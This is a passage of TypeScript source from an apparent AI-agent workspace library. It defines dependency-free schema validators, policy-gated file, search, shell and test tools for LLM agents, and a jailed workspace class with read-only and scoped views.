not a string. */\nexport function stringField(): FieldValidator<string> {\n return (value, key) => {\n if (typeof value === \"string\") {\n return { value };\n }\n\n return { issues: [{ message: `\"${key}\" must be a string`, path: [key] }] };\n };\n}\n\n/**\n * Optional string field — accepts `undefined` (the property absent or\n * explicitly undefined) or a string, and rejects every other type.\n */\nexport function optionalStringField(): FieldValidator<string | undefined> {\n return (value, key) => {\n if (value === undefined) {\n return { value: undefined };\n }\n\n if (typeof value === \"string\") {\n return { value };\n }\n\n return {\n issues: [{ message: `\"${key}\" must be a string when provided`, path: [key] }],\n };\n };\n}\n\n/**\n * Optional finite-number field — accepts `undefined` or a finite number,\n * rejecting `NaN`/`Infinity` and non-number types.\n */\nexport function optionalNumberField(): FieldValidator<number | undefined> {\n return (value, key) => {\n if (value === undefined) {\n return { value: undefined };\n }\n\n if (typeof value === \"number\" && Number.isFinite(value)) {\n return { value };\n }\n\n return {\n issues: [\n { message: `\"${key}\" must be a finite number when provided`, path: [key] },\n ],\n };\n };\n}\n\n/** Optional boolean field — accepts `undefined` or a boolean. */\nexport function optionalBooleanField(): FieldValidator<boolean | undefined> {\n return (value, key) => {\n if (value === undefined) {\n return { value: undefined };\n }\n\n if (typeof value === \"boolean\") {\n return { value };\n }\n\n return {\n issues: [{ message: `\"${key}\" must be a boolean when provided`, path: [key] }],\n };\n };\n}\n\n/** The per-key field validator map describing an object schema's shape. */\ntype ObjectShape<T> = {\n [K in keyof T]-?: FieldValidator<T[K]>;\n};\n\n/**\n * Build a {@link StandardSchemaV1} for a flat object whose every property\n * is validated by a {@link FieldValidator}. The input must be a non-null\n * object; each declared field is validated and the (possibly coerced)\n * values are collected into the typed result. All field issues are merged\n * so the caller sees every problem at once.\n *\n * `T` is constrained to `object` rather than `Record<string, unknown>` so\n * the tool IO `interface`s (which carry no implicit string index\n * signature) satisfy it directly — only the declared keys in `shape` are\n * ever read, so a string index signature is never required.\n *\n * @example\n * const schema = objectSchema<{ path: string; limit?: number }>({\n * path: stringField(),\n * limit: optionalNumberField(),\n * });\n */\nexport function objectSchema<T extends object>(\n shape: ObjectShape<T>,\n): StandardSchemaV1<T> {\n return {\n \"~standard\": {\n version: 1,\n vendor: VENDOR,\n validate(input) {\n if (typeof input !== \"object\" || input === null || Array.isArray(input)) {\n return { issues: [{ message: \"input must be an object\" }] };\n }\n\n const source = input as Record<string, unknown>;\n const issues: StandardSchemaV1.Issue[] = [];\n const result: Record<string, unknown> = {};\n\n for (const key of Object.keys(shape) as (keyof T)[]) {\n const field = shape[key];\n const outcome = field(source[key as string], key as string);\n\n if (\"issues\" in outcome) {\n issues.push(...outcome.issues);\n\n continue;\n }\n\n // Only carry through keys that resolved to a defined value, so\n // optional-absent fields stay absent rather than becoming\n // explicit `undefined` properties.\n if (outcome.value !== undefined) {\n result[key as string] = outcome.value;\n }\n }\n\n if (issues.length > 0) {\n return { issues };\n }\n\n return { value: result as T };\n },\n },\n };\n}\n","import { tool, type ToolContract } from \"@warlock.js/ai\";\nimport {\n objectSchema,\n optionalBooleanField,\n optionalStringField,\n stringField,\n} from \"./schema\";\nimport type { EditFileInput, EditFileResult, WorkspaceOps } from \"../contracts\";\n\n/** Default tool name exposed to the LLM. */\nconst DEFAULT_NAME = \"edit_file\";\n\n/** Input schema for the `edit_file` tool. */\nconst inputSchema = objectSchema<EditFileInput>({\n path: stringField(),\n oldString: stringField(),\n newString: stringField(),\n replaceAll: optionalBooleanField(),\n expectHash: optionalStringField(),\n});\n\n/**\n * Build the agent-facing `edit_file` tool over a workspace's policy-\n * enforced {@link WorkspaceOps}.\n *\n * The tool validates `{ path, oldString, newString, replaceAll?,\n * expectHash? }` against a Standard Schema, then delegates to\n * `ops.editFile`, which applies the exact-string replacement under the\n * read-before-edit guard and returns the replacement count plus the\n * post-edit `hash`.\n *\n * **Errors flow as data.** A non-unique `oldString` (without\n * `replaceAll`), a missing `oldString`, or a stale `expectHash` cause\n * `ops` to throw a `WorkspaceEditError`; the `tool()` wrapper catches it\n * and surfaces it in the returned `{ error }` field — `invoke()` never\n * throws — so the agent can re-read and retry.\n *\n * @param ops - The shared, policy-enforced operation layer.\n * @param options - Optional overrides; `name` renames the LLM-visible tool.\n *\n * @example\n * const editTool = makeEditFileTool(ops);\n * const { data, error } = await editTool.invoke({\n * path: \"src/index.ts\",\n * oldString: \"const a = 1;\",\n * newString: \"const a = 2;\",\n * expectHash,\n * });\n * if (error) console.warn(error.message); // e.g. stale-hash → re-read\n */\nexport function makeEditFileTool(\n ops: WorkspaceOps,\n options?: { name?: string },\n): ToolContract<EditFileInput, EditFileResult> {\n return tool<EditFileInput, EditFileResult>({\n name: options?.name ?? DEFAULT_NAME,\n description:\n \"Replace an exact substring in a workspace file. oldString must match \" +\n \"uniquely unless replaceAll is set. Pass expectHash (from read_file) to \" +\n \"reject the edit if the file changed since you read it. Returns the \" +\n \"number of replacements and the new content hash.\",\n input: inputSchema,\n async execute(input) {\n return ops.editFile(input);\n },\n });\n}\n","import { type ToolContract, tool } from \"@warlock.js/ai\";\nimport { objectSchema, stringField } from \"./schema\";\nimport type { GlobInput, GlobResult, WorkspaceOps } from \"../contracts\";\n\n/** Options accepted by {@link makeGlobTool} to customize the vended tool. */\nexport interface MakeGlobToolOptions {\n /**\n * Override the tool name the LLM sees. Defaults to `\"glob\"`. Use a\n * custom name when wiring several workspaces into one agent so each\n * path-match surface is addressable.\n */\n name?: string;\n}\n\n/**\n * Standard Schema for {@link GlobInput} — a single required `pattern`\n * string. Built on the package's shared, dependency-free schema builders\n * (no schema library, matching the validator idiom the `@warlock.js/ai`\n * tool runtime expects).\n */\nconst globInputSchema = objectSchema<GlobInput>({\n pattern: stringField(),\n});\n\n/**\n * Build the agent-facing `glob` tool — resolve a glob pattern to the\n * matching workspace-relative paths within the jail. The returned\n * {@link ToolContract} validates the LLM's arguments, delegates to\n * {@link WorkspaceOps.glob} (which returns a bare sorted `string[]`), and\n * wraps the result in a {@link GlobResult} so the agent always reads a\n * stable `{ paths }` envelope. The jail and `denyPaths` filtering are\n * enforced in the shared ops layer; a policy violation surfaces as typed\n * tool-error *data* via the runtime's `invoke()` wrapper.\n *\n * @param ops - The policy-enforced operation layer to delegate to.\n * @param options - Optional `{ name }` override for the vended tool name.\n * @returns A {@link ToolContract} the agent can call as `glob`.\n *\n * @example\n * const glob = makeGlobTool(ops);\n * const { data } = await glob.invoke({ pattern: \"src/models/**\\/*.ts\" });\n * console.log(data?.paths);\n */\nexport function makeGlobTool(\n ops: WorkspaceOps,\n options?: MakeGlobToolOptions,\n): ToolContract<GlobInput, GlobResult> {\n return tool<GlobInput, GlobResult>({\n name: options?.name ?? \"glob\",\n description:\n \"Find files in the workspace whose path matches a glob pattern \" +\n \"(supports `*`, `**`, and `?`). Returns the matching \" +\n \"workspace-relative paths, sorted.\",\n action: (input) => `Finding files matching ${input.pattern}`,\n input: globInputSchema,\n async execute(input) {\n const paths = await ops.glob(input.pattern);\n\n return { paths };\n },\n });\n}\n","import { type ToolContract, tool } from \"@warlock.js/ai\";\nimport {\n objectSchema,\n optionalBooleanField,\n optionalStringField,\n stringField,\n} from \"./schema\";\nimport type { GrepInput, GrepResult, WorkspaceOps } from \"../contracts\";\n\n/** Options accepted by {@link makeGrepTool} to customize the vended tool. */\nexport interface MakeGrepToolOptions {\n /**\n * Override the tool name the LLM sees. Defaults to `\"grep\"`. Use a\n * custom name when wiring several workspaces into one agent so each\n * search surface is addressable.\n */\n name?: string;\n}\n\n/**\n * Standard Schema for {@link GrepInput} — `pattern` is a required string;\n * `glob` and `ignoreCase` are optional. Built on the package's shared,\n * dependency-free schema builders (no schema library, matching the\n * validator idiom the `@warlock.js/ai` tool runtime expects).\n */\nconst grepInputSchema = objectSchema<GrepInput>({\n pattern: stringField(),\n glob: optionalStringField(),\n ignoreCase: optionalBooleanField(),\n});\n\n/**\n * Build the agent-facing `grep` tool — a regex content search across the\n * jailed file set. The returned {@link ToolContract} validates the LLM's\n * arguments, then delegates verbatim to {@link WorkspaceOps.grep}, so the\n * policy jail, `denyPaths` filtering, and match cap are enforced in the\n * single shared ops layer rather than duplicated here. A policy violation\n * (e.g. a jail-resolution failure) surfaces as typed tool-error *data*\n * via the runtime's `invoke()` wrapper, never as a thrown run-killer.\n *\n * @param ops - The policy-enforced operation layer to delegate to.\n * @param options - Optional `{ name }` override for the vended tool name.\n * @returns A {@link ToolContract} the agent can call as `grep`.\n *\n * @example\n * const grep = makeGrepTool(ops);\n * const { data } = await grep.invoke({ pattern: \"TODO\", glob: \"src/*.ts\" });\n * console.log(data?.total, data?.matches);\n */\nexport function makeGrepTool(\n ops: WorkspaceOps,\n options?: MakeGrepToolOptions,\n): ToolContract<GrepInput, GrepResult> {\n return tool<GrepInput, GrepResult>({\n name: options?.name ?? \"grep\",\n description:\n \"Search file contents across the workspace for a regular-expression \" +\n \"pattern. Optionally narrow the scanned files with a glob and match \" +\n \"case-insensitively. Returns every matching line with its file path \" +\n \"and 1-based line number.\",\n action: (input) => `Searching for /${input.pattern}/`,\n input: grepInputSchema,\n async execute(input) {\n return ops.grep(input.pattern, {\n glob: input.glob,\n ignoreCase: input.ignoreCase,\n });\n },\n });\n}\n","import { tool, type ToolContract } from \"@warlock.js/ai\";\nimport { objectSchema, optionalNumberField, stringField } from \"./schema\";\nimport type { ReadFileInput, ReadFileResult, WorkspaceOps } from \"../contracts\";\n\n/** Default tool name exposed to the LLM. */\nconst DEFAULT_NAME = \"read_file\";\n\n/** Input schema for the `read_file` tool. */\nconst inputSchema = objectSchema<ReadFileInput>({\n path: stringField(),\n startLine: optionalNumberField(),\n limit: optionalNumberField(),\n});\n\n/**\n * Build the agent-facing `read_file` tool over a workspace's policy-\n * enforced {@link WorkspaceOps}.\n *\n * The tool validates `{ path, startLine?, limit? }` against a Standard\n * Schema, then delegates to `ops.readFile`, mapping the result into the\n * agent wire shape {@link ReadFileResult} — the full file's `hash` an\n * agent must carry into a later `edit_file` (read-before-edit), plus the\n * `startLine` / `endLine` / `truncated` / `bytesCapped` window metadata.\n * The returned `content` never exceeds the policy's `read.maxBytes`.\n *\n * **Errors flow as data.** Policy violations (a jail escape) are thrown\n * by `ops`; the `tool()` wrapper catches them and surfaces them in the\n * returned `{ error }` field — `invoke()` never throws — so the agent can\n * read the failure and self-correct.\n *\n * @param ops - The shared, policy-enforced operation layer.\n * @param options - Optional overrides; `name` renames the LLM-visible tool.\n *\n * @example\n * const readTool = makeReadFileTool(ops);\n * const { data, error } = await readTool.invoke({ path: \"src/index.ts\" });\n * if (!error) console.log(data.hash); // feed into edit_file's expectHash\n */\nexport function makeReadFileTool(\n ops: WorkspaceOps,\n options?: { name?: string },\n): ToolContract<ReadFileInput, ReadFileResult> {\n return tool<ReadFileInput, ReadFileResult>({\n name: options?.name ?? DEFAULT_NAME,\n description:\n \"Read a file from the workspace, returning a numbered line window plus \" +\n \"the file's content hash. Pass the hash to edit_file's expectHash to \" +\n \"guard against editing a stale version. Use startLine/limit to page \" +\n \"through large files. Output is byte-capped by the workspace policy; \" +\n \"when bytesCapped is true the last returned line may be cut short.\",\n input: inputSchema,\n async execute(input) {\n // The ops layer owns the window and byte-cap arithmetic, so the tool\n // and the direct `readFile()` return identical results for the same\n // arguments.\n return ops.readFile(input.path, {\n offset: input.startLine !== undefined ? Math.max(1, input.startLine) : 1,\n limit: input.limit,\n });\n },\n });\n}\n","import type { StandardSchemaV1 } from \"@standard-schema/spec\";\nimport { tool, type ToolContract } from \"@warlock.js/ai\";\nimport type {\n RunShellInput,\n RunShellResult,\n WorkspaceOps,\n} from \"../contracts\";\n\n/** The default tool name `run_shell` is exposed to the LLM under. */\nconst DEFAULT_RUN_SHELL_TOOL_NAME = \"run_shell\";\n\n/**\n * Hand-rolled Standard Schema for {@link RunShellInput}. We validate the\n * model's arguments without a runtime schema dependency: `command` must be\n * a non-empty string, and `timeoutMs` (when present) a positive number.\n * Invalid args surface as a `SchemaValidationError` in the tool result's\n * `error` field rather than reaching `ops.exec`.\n */\nconst runShellInputSchema: StandardSchemaV1<RunShellInput> = {\n \"~standard\": {\n version: 1,\n vendor: \"@warlock.js/ai-workspace\",\n validate: (value) => {\n if (typeof value !== \"object\" || value === null) {\n return { issues: [{ message: \"expected an object\" }] };\n }\n\n const candidate = value as Record<string, unknown>;\n\n if (typeof candidate.command !== \"string\" || candidate.command.length === 0) {\n return { issues: [{ message: \"command must be a non-empty string\", path: [\"command\"] }] };\n }\n\n if (\n candidate.timeoutMs !== undefined &&\n (typeof candidate.timeoutMs !== \"number\" || candidate.timeoutMs <= 0)\n ) {\n return {\n issues: [{ message: \"timeoutMs must be a positive number\", path: [\"timeoutMs\"] }],\n };\n }\n\n const result: RunShellInput = { command: candidate.command };\n\n if (candidate.timeoutMs !== undefined) {\n result.timeoutMs = candidate.timeoutMs as number;\n }\n\n return { value: result };\n },\n },\n};\n\n/** Options for {@link makeRunShellTool}. */\nexport interface MakeRunShellToolOptions {\n /** Override the tool name exposed to the LLM (default `\"run_shell\"`). */\n name?: string;\n}\n\n/**\n * Build the `run_shell` tool — a {@link ToolContract} that runs a single\n * shell command through the policy-enforced {@link WorkspaceOps} layer.\n *\n * The command's leading executable basename is gated against the shell\n * allow/deny policy by `ops.exec`; a blocked command throws a\n * `WorkspacePolicyError` which the `tool()` runtime catches and surfaces\n * in the result's `error` field (never a thrown run-killer), so the agent\n * reads the refusal as tool data and self-corrects. A command that runs\n * but exits non-zero is *not* an error — its `exitCode`/`stderr` come back\n * in `data` for the agent to inspect.\n *\n * The agent run's cancellation `signal` (from the dispatch `ctx`) is passed\n * to `ops.exec` per invocation: a cancelled run never starts the command,\n * and one cancelled mid-command kills its process tree (`cancelled: true`).\n *\n * @param ops - The policy-enforced operation layer to delegate `exec` to.\n * @param options - Optional tool-name override.\n *\n * @example\n * const runShell = makeRunShellTool(ops);\n * const { data, error } = await runShell.invoke({ command: \"npm run build\" });\n * if (error) handleDenied(error);\n * else console.log(data.exitCode, data.stdout);\n */\nexport function makeRunShellTool(\n ops: WorkspaceOps,\n options?: MakeRunShellToolOptions,\n): ToolContract<RunShellInput, RunShellResult> {\n return tool<RunShellInput, RunShellResult>({\n name: options?.name ?? DEFAULT_RUN_SHELL_TOOL_NAME,\n description:\n \"Run a single shell command inside the workspace. The command's \" +\n \"executable must be permitted by the shell policy; output is \" +\n \"byte-capped and the run is time-limited. A non-zero exit code is \" +\n \"returned as data, not an error.\",\n action: (input) => `Running \\`${input.command}\\``,\n input: runShellInputSchema,\n // The run's signal belongs to this one invocation: it is read from the\n // dispatch ctx on every call and never stored on the tool or workspace.\n execute: (input, ctx) =>\n ops.exec(input.command, {\n timeoutMs: input.timeoutMs,\n ...(ctx?.signal ? { signal: ctx.signal } : {}),\n }),\n });\n}\n","import type { StandardSchemaV1 } from \"@standard-schema/spec\";\nimport { tool, type ToolContract } from \"@warlock.js/ai\";\nimport type {\n RunShellResult,\n RunTestsInput,\n WorkspaceOps,\n} from \"../contracts\";\n\n/** The default tool name `run_tests` is exposed to the LLM under. */\nconst DEFAULT_RUN_TESTS_TOOL_NAME = \"run_tests\";\n\n/** The default command run when no `command` override is configured. */\nconst DEFAULT_TEST_COMMAND = \"npm test\";\n\n/**\n * Hand-rolled Standard Schema for {@link RunTestsInput}. `pattern` is the\n * only field and is optional; when present it must be a string without\n * double quotes or newlines — the pattern is forwarded to the runner as a\n * single double-quoted argument, and those characters would break out of\n * the quoting (i.e. inject extra arguments or commands). Validation\n * happens without a runtime schema dependency, mirroring the wider tool\n * layer.\n */\nconst runTestsInputSchema: StandardSchemaV1<RunTestsInput> = {\n \"~standard\": {\n version: 1,\n vendor: \"@warlock.js/ai-workspace\",\n validate: (value) => {\n // A no-argument call (the common case) is valid and runs the bare\n // test command.\n if (value === undefined || value === null) {\n return { value: {} };\n }\n\n if (typeof value !== \"object\") {\n return { issues: [{ message: \"expected an object\" }] };\n }\n\n const candidate = value as Record<string, unknown>;\n\n if (candidate.pattern !== undefined && typeof candidate.pattern !== \"string\") {\n return { issues: [{ message: \"pattern must be a string\", path: [\"pattern\"] }] };\n }\n\n if (typeof candidate.pattern === \"string\" && /[\"\\r\\n]/.test(candidate.pattern)) {\n return {\n issues: [\n {\n message: \"pattern must not contain double quotes or newlines\",\n path: [\"pattern\"],\n },\n ],\n };\n }\n\n const result: RunTestsInput = {};\n\n if (candidate.pattern !== undefined) {\n result.pattern = candidate.pattern as string;\n }\n\n return { value: result };\n },\n },\n};\n\n/** Options for {@link makeRunTestsTool}. */\nexport interface MakeRunTestsToolOptions {\n /** Override the tool name exposed to the LLM (default `\"run_tests\"`). */\n name?: string;\n /**\n * The base test command to run (default `\"npm test\"`). When the model\n * supplies a `pattern`, it is appended to this command as a single\n * quoted argument.\n */\n command?: string;\n}\n\n/**\n * Build the `run_tests` tool — a {@link ToolContract} convenience over\n * `run_shell` that runs the workspace's configured test command through\n * the policy-enforced {@link WorkspaceOps} layer.\n *\n * The base command defaults to `\"npm test\"` and can be overridden via\n * `options.command`. When the model passes a `pattern`, it is appended to\n * the command as a **single quoted argument** — a path/suite filter the\n * tokenizer hands to the runner as one argv element (e.g.\n * `npm test \"src/cart\"`), so shell metacharacters inside it are literal\n * data, never a second command. Like `run_shell`, the resolved command's\n * executable is gated by the shell policy — a denial surfaces in the\n * result's `error` field — and a non-zero exit (failing tests) comes back\n * as `data` for the agent to read and fix. The agent run's cancellation\n * `signal` is threaded per invocation, exactly as for `run_shell`.\n *\n * @param ops - The policy-enforced operation layer to delegate `exec` to.\n * @param options - Optional tool-name and base-command overrides.\n *\n * @example\n * const runTests = makeRunTestsTool(ops, { command: \"pnpm test\" });\n * const { data } = await runTests.invoke({ pattern: \"cart-total\" });\n * if (data.exitCode !== 0) inspect(data.stderr);\n */\nexport function makeRunTestsTool(\n ops: WorkspaceOps,\n options?: MakeRunTestsToolOptions,\n): ToolContract<RunTestsInput, RunShellResult> {\n const baseCommand = options?.command ?? DEFAULT_TEST_COMMAND;\n\n return tool<RunTestsInput, RunShellResult>({\n name: options?.name ?? DEFAULT_RUN_TESTS_TOOL_NAME,\n description:\n \"Run the workspace's test suite, optionally narrowed to a path or \" +\n \"name pattern forwarded to the test runner. Failing tests return a \" +\n \"non-zero exit code as data, not an error.\",\n action: (input) =>\n input.pattern ? `Running tests matching \"${input.pattern}\"` : \"Running tests\",\n input: runTestsInputSchema,\n execute: (input, ctx) => {\n // The pattern rides as ONE double-quoted token (quotes/newlines are\n // rejected by the schema), so it reaches the runner as a single argv\n // element and can never smuggle in additional commands or arguments.\n const command = input.pattern ? `${baseCommand} \"${input.pattern}\"` : baseCommand;\n\n return ops.exec(command, ctx?.signal ? { signal: ctx.signal } : undefined);\n },\n });\n}\n","import { tool, type ToolContract } from \"@warlock.js/ai\";\nimport { objectSchema, stringField } from \"./schema\";\nimport type { WorkspaceOps, WriteFileInput, WriteFileResult } from \"../contracts\";\n\n/** Default tool name exposed to the LLM. */\nconst DEFAULT_NAME = \"write_file\";\n\n/** Input schema for the `write_file` tool. */\nconst inputSchema = objectSchema<WriteFileInput>({\n path: stringField(),\n content: stringField(),\n});\n\n/**\n * Build the agent-facing `write_file` tool over a workspace's policy-\n * enforced {@link WorkspaceOps}.\n *\n * The tool validates `{ path, content }` against a Standard Schema, then\n * delegates to `ops.writeFile`, which atomically writes the full content\n * (creating parent directories) and returns the byte count and content\n * `hash`. The tool re-attaches the workspace-relative `path` so the\n * result matches the {@link WriteFileResult} wire shape.\n *\n * **Errors flow as data.** A jail escape is thrown by `ops`; the\n * `tool()` wrapper catches it and surfaces it in the returned `{ error }`\n * field — `invoke()` never throws.\n *\n * @param ops - The shared, policy-enforced operation layer.\n * @param options - Optional overrides; `name` renames the LLM-visible tool.\n *\n * @example\n * const writeTool = makeWriteFileTool(ops);\n * const { data } = await writeTool.invoke({ path: \"src/new.ts\", content: \"export {};\" });\n * console.log(data.bytesWritten, data.hash);\n */\nexport function makeWriteFileTool(\n ops: WorkspaceOps,\n options?: { name?: string },\n): ToolContract<WriteFileInput, WriteFileResult> {\n return tool<WriteFileInput, WriteFileResult>({\n name: options?.name ?? DEFAULT_NAME,\n description:\n \"Write full content to a workspace file, creating it (and any parent \" +\n \"directories) if absent and overwriting it otherwise. The write is \" +\n \"atomic. Returns the bytes written and the new content hash.\",\n input: inputSchema,\n async execute(input) {\n const { hash, bytesWritten } = await ops.writeFile(input.path, input.content);\n\n return { path: input.path, bytesWritten, hash };\n },\n });\n}\n","import path from \"node:path\";\nimport { ai, type ToolContract } from \"@warlock.js/ai\";\nimport { createLocalBackend } from \"./backends/local\";\nimport { createMockBackend } from \"./backends/mock\";\nimport { WorkspacePolicyError } from \"./errors\";\nimport { createOps } from \"./ops\";\nimport { makeEditFileTool } from \"./tools/edit-file\";\nimport { makeGlobTool } from \"./tools/glob\";\nimport { makeGrepTool } from \"./tools/grep\";\nimport { makeReadFileTool } from \"./tools/read-file\";\nimport { makeRunShellTool } from \"./tools/run-shell\";\nimport { makeRunTestsTool } from \"./tools/run-tests\";\nimport { makeWriteFileTool } from \"./tools/write-file\";\nimport type {\n EditFileInput,\n EditFileResult,\n ExecOptions,\n GrepResult,\n ReadFileResult,\n RunShellResult,\n Workspace,\n WorkspaceBackend,\n WorkspaceOps,\n WorkspacePolicy,\n WorkspaceToolName,\n WorkspaceTools,\n} from \"./contracts\";\n\n/**\n * The full set of tool names a writable workspace vends, in a stable\n * canonical order so `tools.all()` is deterministic.\n */\nconst ALL_TOOL_NAMES: readonly WorkspaceToolName[] = [\n \"readFile\",\n \"editFile\",\n \"writeFile\",\n \"runShell\",\n \"runTests\",\n \"grep\",\n \"glob\",\n];\n\n/**\n * The subset a {@link Workspace.readonly} projection exposes — the\n * non-mutating tools only. `editFile` / `writeFile` / `runShell` /\n * `runTests` are deliberately omitted so a reviewer agent has no path to\n * change the tree.\n */\nconst READONLY_TOOL_NAMES: readonly WorkspaceToolName[] = [\n \"readFile\",\n \"grep\",\n \"glob\",\n];\n\n/**\n * Choose the dumb IO executor for a policy. `\"mock\"` selects the\n * in-memory backend (hermetic tests); anything else — including the\n * `\"local\"` default and an absent `backend` — selects the real-disk\n * local backend.\n */\nfunction selectBackend(policy: WorkspacePolicy): WorkspaceBackend {\n if (policy.backend === \"mock\") {\n return createMockBackend();\n }\n\n return createLocalBackend();\n}\n\n/**\n * The internal {@link Workspace} implementation. Holds the resolved\n * backend, the policy, and the single shared {@link WorkspaceOps} seam\n * that both the agent-facing `.tools.*` factories and the human-facing\n * direct methods funnel through — one jail, one rule set, two callers.\n *\n * The `allowedTools` set narrows what `tools.*` will vend and which\n * mutating direct methods are permitted: a full workspace allows every\n * name; a {@link WorkspaceImpl.readonly} projection allows only the\n * read/grep/glob subset and rejects writes/edits/shell/mkdir/remove.\n *\n * Constructed via {@link workspace}; the class itself is internal.\n */\nclass WorkspaceImpl implements Workspace {\n /** The shared, policy-enforced operation layer (jail + guards). */\n private readonly ops: WorkspaceOps;\n\n /** Tool names this projection is permitted to vend / mutate through. */\n private readonly allowedTools: ReadonlySet<WorkspaceToolName>;\n\n public readonly policy: WorkspacePolicy;\n\n public readonly tools: WorkspaceTools;\n\n public constructor(\n policy: WorkspacePolicy,\n allowedTools: readonly WorkspaceToolName[] = ALL_TOOL_NAMES,\n ) {\n this.policy = policy;\n this.allowedTools = new Set(allowedTools);\n\n const backend = selectBackend(policy);\n this.ops = createOps(backend, policy);\n this.tools = this.buildTools();\n }\n\n /**\n * Assemble the agent-facing tool namespace. Each factory builds its\n * tool over the shared `ops`; `all()` returns every *allowed* tool in\n * canonical order and `pick(...)` returns the named subset (silently\n * dropping any name this projection does not allow, so a `readonly()`\n * workspace can never be coaxed into vending a mutating tool).\n */\n private buildTools(): WorkspaceTools {\n // Each `make*Tool` returns a precisely-typed\n // `ToolContract<SpecificInput, SpecificOutput>`, but the agent-facing\n // `WorkspaceTools` surface vends the type-erased `ToolContract`\n // (`ToolContract<unknown, unknown>`). Because `ToolContract` puts its\n // input in a contravariant position (`execute(input)` / `action(input)`),\n // a specific contract is not assignable to the erased one — so erase it\n // once, here, through `unknown`. The runtime object is identical; only\n // the static input type is widened for the shared surface.\n const erase = <TInput, TOutput>(\n contract: ToolContract<TInput, TOutput>,\n ): ToolContract => contract as unknown as ToolContract;\n\n const factories: Record<\n WorkspaceToolName,\n (opts?: { name?: string; command?: string }) => ToolContract\n > = {\n readFile: (opts) => erase(makeReadFileTool(this.ops, opts)),\n editFile: (opts) => erase(makeEditFileTool(this.ops, opts)),\n writeFile: (opts) => erase(makeWriteFileTool(this.ops, opts)),\n runShell: (opts) => erase(makeRunShellTool(this.ops, opts)),\n runTests: (opts) => erase(makeRunTestsTool(this.ops, opts)),\n grep: (opts) => erase(makeGrepTool(this.ops, opts)),\n glob: (opts) => erase(makeGlobTool(this.ops, opts)),\n };\n\n const build = (name: WorkspaceToolName, opts?: { name?: string; command?: string }) =>\n factories[name](opts);\n\n return {\n all: () =>\n ALL_TOOL_NAMES.filter((name) => this.allowedTools.has(name)).map((name) =>\n build(name),\n ),\n pick: (...names: WorkspaceToolName[]) =>\n names.filter((name) => this.allowedTools.has(name)).map((name) => build(name)),\n readFile: (opts) => build(\"readFile\", opts),\n editFile: (opts) => build(\"editFile\", opts),\n writeFile: (opts) => build(\"writeFile\", opts),\n runShell: (opts) => build(\"runShell\", opts),\n runTests: (opts) => build(\"runTests\", opts),\n grep: (opts) => build(\"grep\", opts),\n glob: (opts) => build(\"glob\", opts),\n };\n }\n\n /**\n * Reject a mutating direct method on a read-only projection — surfaced\n * as a {@link WorkspacePolicyError} (the same typed error a denied\n * command produces) so a caller branches on `error.type`.\n */\n private assertWritable(operation: string): void {\n if (this.allowedTools.has(\"writeFile\")) {\n return;\n }\n\n throw new WorkspacePolicyError(\n `Operation \"${operation}\" is not permitted on a read-only workspace.`,\n { type: \"denied-command\", command: operation },\n );\n }\n\n public readFile(\n filePath: string,\n opts?: { offset?: number; limit?: number },\n ): Promise<ReadFileResult> {\n return this.ops.readFile(filePath, opts);\n }\n\n public async writeFile(\n filePath: string,\n content: string,\n ): Promise<{ hash: string; bytesWritten: number }> {\n this.assertWritable(\"writeFile\");\n\n return this.ops.writeFile(filePath, content);\n }\n\n public async editFile(input: EditFileInput): Promise<EditFileResult> {\n this.assertWritable(\"editFile\");\n\n return this.ops.editFile(input);\n }\n\n public async exec(command: string, opts?: ExecOptions): Promise<RunShellResult> {\n this.assertWritable(\"exec\");\n\n return this.ops.exec(command, opts);\n }\n\n public grep(\n pattern: string,\n opts?: { glob?: string; ignoreCase?: boolean },\n ): Promise<GrepResult> {\n return this.ops.grep(pattern, opts);\n }\n\n public glob(pattern: string): Promise<string[]> {\n return this.ops.glob(pattern);\n }\n\n public exists(filePath: string): Promise<boolean> {\n return this.ops.exists(filePath);\n }\n\n public async mkdir(filePath: string): Promise<void> {\n this.assertWritable(\"mkdir\");\n\n return this.ops.mkdir(filePath);\n }\n\n public async remove(filePath: string): Promise<void> {\n this.assertWritable(\"remove\");\n\n return this.ops.remove(filePath);\n }\n\n /**\n * A read-only projection over the SAME policy — only the read/grep/glob\n * tools are vended and every mutating direct method rejects with a\n * {@link WorkspacePolicyError}. A fresh ops/backend is built from the\n * identical policy, so the projection sees the same jailed tree.\n */\n public readonly(): Workspace {\n return new WorkspaceImpl(this.policy, READONLY_TOOL_NAMES);\n }\n\n /**\n * A sub-jailed view rooted at `subdir` (relative to this workspace's\n * `cwd`). Returns a brand-new workspace whose policy is this policy\n * with `cwd` narrowed to `join(cwd, subdir)` — same backend selection,\n * same allow/deny/shell/read sub-policies, but a tighter jail root.\n */\n public scope(subdir: string): Workspace {\n return new WorkspaceImpl(\n { ...this.policy, cwd: path.join(this.policy.cwd, subdir) },\n [...this.allowedTools],\n );\n }\n}\n\n/**\n * Build a {@link Workspace} — the integrator that wires a\n * {@link WorkspacePolicy} to a backend, the shared policy-enforced ops\n * layer, and the seven agent-facing tool factories.\n *\n * The backend is chosen from `policy.backend`: `\"mock\"` runs in memory\n * (hermetic tests); the `\"local\"` default (and any absent value) runs\n * over the real disk via `@warlock.js/fs` + `node:child_process`. The\n * returned workspace exposes:\n *\n * - **`tools.*`** — `readFile` / `editFile` / `writeFile` / `runShell` /\n * `runTests` / `grep` / `glob`, plus `all()` (every tool) and\n * `pick(...)` (a least-privilege subset).\n * - **direct methods** — `readFile` / `writeFile` / `editFile` / `exec` /\n * `grep` / `glob` / `exists` / `mkdir` / `remove`, each delegating 1:1\n * to the shared ops layer.\n * - **`readonly()`** — a projection that vends only read/grep/glob and\n * rejects every mutating direct method.\n * - **`scope(subdir)`** — a sub-jailed workspace rooted at `subdir`.\n *\n * Available at runtime as `ai.workspace(policy)` once this module is\n * imported (it registers the verb on the shared `ai` object).\n *\n * @param policy - The policy bounding the workspace (its `cwd` is the jail root).\n * @returns A fully-wired {@link Workspace}.\n *\n * @example\n * const ws = workspace({ cwd: \"/srv/acme-api\", shell: { allow: [\"npm\"], inheritEnv: [\"PATH\"] } });\n * const dev = ai.agent({ model, tools: ws.tools.all() });\n * await dev.execute(\"Make the failing cart-total suite green.\");\n *\n * @example\n * // Least-privilege reviewer — no write, no shell.\n * const reviewer = ai.agent({ model, tools: ws.readonly().tools.all() });\n */\nexport function workspace(policy: WorkspacePolicy): Workspace {\n return new WorkspaceImpl(policy);\n}\n\n/**\n * Attach the `workspace` verb to the `ai` namespace via module augmentation,\n * per the `ai.`-namespace convention. `@warlock.js/ai` now exposes a named `Ai`\n * interface for exactly this, so after a bare `import \"@warlock.js/ai-workspace\"`,\n * `ai.workspace(...)` is globally typed — no view/cast needed.\n */\ndeclare module \"@warlock.js/ai\" {\n 